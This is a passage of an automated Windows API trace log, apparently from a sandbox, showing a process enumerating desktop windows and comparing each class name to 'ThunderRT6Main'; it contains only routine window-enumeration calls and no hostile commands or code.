out: lpClassName="Cruises_Construct_win") returned 21 [0134.542] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0134.542] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0134.542] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0134.542] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.542] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.542] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0134.542] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0134.542] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0134.542] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0134.542] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0134.542] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0134.542] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.542] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.542] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0134.542] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0134.542] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0134.542] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0134.542] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0134.542] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0134.542] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.542] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.542] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0134.542] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0134.542] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0134.542] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0134.542] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0134.542] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0134.542] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.542] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.542] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0134.542] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0134.543] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0134.543] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0134.543] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0134.543] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0134.543] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.543] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.543] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0134.543] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0134.543] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0134.543] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0134.543] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0134.543] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0134.543] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0134.543] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0134.543] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0134.543] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0134.543] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0134.543] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0134.543] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0134.543] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0134.543] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0134.543] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0134.543] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0134.543] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0134.543] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0134.543] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0134.543] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0134.543] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0134.543] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.543] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.543] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0134.543] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0134.543] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0134.543] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0134.543] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0134.544] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0134.544] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.544] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.544] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0134.544] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0134.544] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0134.544] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0134.544] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0134.544] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0134.544] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.544] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.544] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0134.544] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0134.544] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0134.544] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0134.544] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0134.544] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0134.544] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0134.544] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0134.544] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0134.544] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0134.544] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.544] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.544] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0134.544] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0134.544] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0134.544] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0134.544] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0134.544] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0134.544] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.544] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.544] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0134.544] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0134.544] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0134.545] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0134.545] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0134.545] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0134.545] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.545] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.545] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0134.545] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0134.545] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0134.545] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0134.545] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0134.545] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0134.545] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0134.545] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0134.545] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0134.545] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0134.545] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0134.545] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0134.545] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0134.545] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0134.545] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0134.545] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0134.545] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0134.545] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0134.545] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0134.545] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0134.545] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.545] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0134.545] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0134.545] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0134.545] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0134.545] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0134.545] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0134.545] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0134.545] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.546] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0134.546] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.546] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.546] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.546] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0134.546] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.546] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.546] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.546] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0134.546] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0134.546] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0134.546] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0134.546] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0134.546] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.546] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.546] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0134.546] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0134.546] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0134.546] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0134.546] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.546] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0134.546] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0134.546] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0134.546] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0134.546] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0134.546] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.546] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.546] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0134.546] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0134.546] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0134.546] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0134.546] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.546] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0134.546] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0134.546] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0134.547] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0134.547] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0134.547] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0134.547] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0134.547] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0134.547] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0134.547] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.547] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.547] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0134.547] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0134.547] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0134.547] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0134.547] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0134.547] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0134.547] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.547] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.547] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0134.547] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0134.547] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0134.547] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0134.547] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0134.547] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0134.547] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0134.547] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0134.547] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0134.547] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0134.547] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0134.548] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0134.740] GetCurrentThreadId () returned 0xbdc [0134.741] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0134.741] GetDesktopWindow () returned 0x10010 [0134.741] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0134.741] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.741] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.741] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.741] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0134.741] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.741] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.741] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.741] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0134.741] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.741] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.741] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.741] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0134.741] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0134.741] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0134.741] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0134.741] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0134.741] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.741] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.741] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0134.741] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0134.741] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0134.741] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0134.741] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0134.741] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0134.741] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.741] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.741] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.741] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0134.741] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.741] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.742] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.742] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0134.742] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.742] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.742] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.742] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0134.742] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.742] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.742] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.742] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0134.742] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.742] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.742] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.742] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0134.742] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.742] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.742] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.742] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0134.742] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0134.742] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0134.742] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.742] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0134.742] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0134.742] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0134.742] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.742] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0134.742] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0134.742] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0134.742] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.742] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0134.742] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0134.742] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0134.742] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0134.742] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0134.743] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0134.743] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 